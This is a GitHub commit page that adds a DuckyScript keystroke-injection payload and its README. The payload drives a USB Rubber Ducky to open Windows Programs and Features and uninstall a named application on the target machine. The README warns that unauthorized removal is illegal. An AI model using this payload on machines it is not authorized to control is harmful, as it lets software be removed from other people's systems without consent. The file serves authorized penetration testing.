Merge pull request #177 from aleff-github/patch-44

Uninstall A Specific App On Windows Through Control Panel
pull/178/head
Kalani Helekunihi 2023-06-12 13:44:03 -04:00 committed by GitHub
commit 6f2628fa9e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 68 additions and 0 deletions

View File

@ -0,0 +1,25 @@
# Uninstall A Specific App On Windows Through Control Panel
This script can be used to uninstall a specific app on a Windows System.
**Category**: Execute
## Description
This script can be used to uninstall a specific app on a Windows System.
The script opens the research app and go to `Uninstall or change a program` page using the default path `Control Panel\Programs\Programs and Features`, then go to the search bar and write the app name, then got on the app, press space to select and enter to uninstall it.
When uninstalling an application through the Windows Control Panel, it may not always be enough, especially for complex programs like antivirus software. In such cases, specific uninstaller applications are often required to ensure the complete removal of all components and avoid leaving behind residual files or registry entries. While most standard applications can be successfully uninstalled through the Control Panel, complex or security-related programs may benefit from using specific uninstaller applications for a more thorough and complete removal and, in that cases, this script doesn't work.
**Unauthorized removal of an application is considered a crime** and can result in severe consequences. Tampering with system files without permission violates cybersecurity laws and can lead to legal penalties.
In addition to legal implications, **unauthorized removal of an application can also pose permanent risks to files and system functionality**. Applications are designed to work within a specific environment, and sudden or improper removal can cause instability, errors, and permanent data loss.
## Dependencies
* Set the exact name of the application as it appears within the control panel. Do not assume that just because an application is known by a certain name then it will have exactly that name, e.g. `Firefox` shows up again as `Mozilla Firefox (x64 en)`
```DuckyScript
DEFINE APP_NAME example
```

View File

@ -0,0 +1,43 @@
REM ##############################################################################
REM # |
REM # Title : Uninstall A Specific App On Windows Through Control Panel |
REM # Author : Aleff |
REM # Version : 1.0 |
REM # Category : Execute |
REM # Target : Windows 10/11 |
REM # |
REM ##############################################################################
REM Requirements:
REM - The application you want to uninstall must be installed on the target (?obvious right? ^^)
REM Note:
REM - Payload tested on Windows 11 Eng
REM Set the exact name of the application as it appears within the control panel. Do not assume that just because an application is known by a certain name then it will have exactly that name, e.g. `Firefox` shows up again as `Mozilla Firefox (x64 en)`
DEFINE APP_NAME example
DEFAULT_DELAY 500
REM Open Windows research
GUI
REM Search and open explorer app
STRINGLN explorer
REM Goto search bar and open "Uninstall or change a program" page
REPEAT 3 TAB
ENTER
STRINGLN Control Panel\Programs\Programs and Features
DELAY 1000
REM Goto search bar and search the app
REPEAT 4 TAB
STRING APP_NAME
REM Select the app and click on it
REPEAT 6 TAB
SPACE
REPEAT 2 ENTER
DELAY 2000
ALT F4